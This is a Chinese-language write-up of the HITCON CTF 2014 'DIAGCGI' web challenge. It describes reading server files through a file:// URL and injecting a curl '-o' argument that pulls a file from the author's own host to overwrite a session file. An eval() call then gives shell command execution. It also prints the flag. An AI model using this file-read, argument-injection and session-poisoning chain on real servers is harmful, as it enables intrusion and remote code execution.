HITCON CTF 2014 DIAGCGI Write-up
DIAGCGI
Description
http://54.92.127.128:16888/
信息收集
没有提示,打开连接自动跳转到:http://54.92.127.128:16888/cgi-bin/dana-na.cgi?sechash=
输入任意网址,比如watch0ut.com测试,发现curl可以直接获取网页源码。试试获取服务器系统文件呢?直接输入/etc/passwd,返回空白。改个方式:file:///ect/passwd,果然可以直接读取系统文件!
看看有哪些用户:
有个用户叫key?!哈哈,莫非是暗示:D
key应该就在该用户目录下吧,尝试读取
等等情况,失败。看来猜文件名方式不靠谱,如果能ls看看目录有啥文件就好了……
看看网页源码:
有个表单参数被隐藏了,从名字看,应该可以通过shell执行命令吧
使用burp修改下请求数据,把value修改为shell,参数为ls
。
返回:`sorry guest! you’re not admin!``
输入任何命令,包括错误的命令,提示相同,猜测这里应该是个提示,获取admin权限。
获取页面源码
又被迫回到上面的思路,curl查看源文件。继续猜下dana-na.cgi文件目录,如果能查看网页源码,就好办了。
队友很快猜到了网页路径:/usr/lib/cgi-bin/dana-na.cgi
输入:file:///usr/lib/cgi-bin/dana-na.cgi
获取网页源码:
获取admin权限代码为:
sechash参数md5值前12位都是0,are you kidding me?这又是出题者估计设计的陷阱。
往下看,只有第一次访问时候,没生成cookie才会进入admin判断逻辑,并将权限写入session文件。后面直接从session读取。也就是我们可以直接修改服务器session文件提权。
session文件提权
先读取下服务器上自己的session,网页先查看自己的cookie值,比如:aaebc6da0de8cf02b348c8eb4a3f585f
通过file:///tmp/aaebc6da0de8cf02b348c8eb4a3f585f
查询curl参数,-o可以直接指定输出文件,于是,自己写一个文件test.txt,上传到自己的空间:
再通过在web界面提交:-o /tmp/aaebc6da0de8cf02b348c8eb4a3f585f http://www.watch0ut.com/test.txt
成功写入服务器session文件!再试试改shell参数执行命令,结果返回空白。失望。
session文件执行命令
再看看代码read_session函数
eval($_)
!!!!这是神马?!很熟悉吧,php一句话木马常用的函数。
再构造一个session文件,通过web界面curl提交替换到服务器上:
:D成功把根目录所有文件显示在网页。也就是可以通过构造session文件在服务器上执行shell命令。根目录有read_key,key.txt文件,最终通过:
获取key:HITCON{a755be06b165ed8fc4710d3544fce942}
:)